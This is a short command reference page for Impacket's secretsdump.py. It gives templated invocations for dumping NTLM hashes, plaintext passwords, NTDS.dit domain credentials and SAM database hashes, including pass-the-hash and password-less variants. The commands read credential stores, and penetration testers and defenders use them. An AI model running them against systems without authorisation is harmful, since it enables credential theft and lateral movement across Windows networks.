secretsdump.py Command Examples

Dump NTLM hashes, plaintext passwords, and domain credentials from remote Windows systems. Part of the Impacket suite. More information: https://github.com/fortra/impacket.

• Dump credentials from a Windows machine using a username and password:

secretsdump.py {{domain}}/{{username}}:{{password}}@{{target}}

• Dump hashes from a machine using pass-the-hash authentication:

secretsdump.py -hashes {{LM_Hash}}:{{NT_Hash}} {{domain}}/{{username}}@{{target}}

• Dump credentials from Active Directory’s NTDS.dit file:

secretsdump.py -just-dc {{domain}}/{{username}}:{{password}}@{{target}}

• Extract credentials from a local SAM database using registry hives:

secretsdump.py -sam {{path/to/SAM}} -system {{path/to/SYSTEM}}

• Dump hashes from a machine without providing a password (if a valid authentication session exists, e.g. via Kerberos or NTLM SSO):

secretsdump.py -no-pass {{domain}}/{{username}}@{{target}}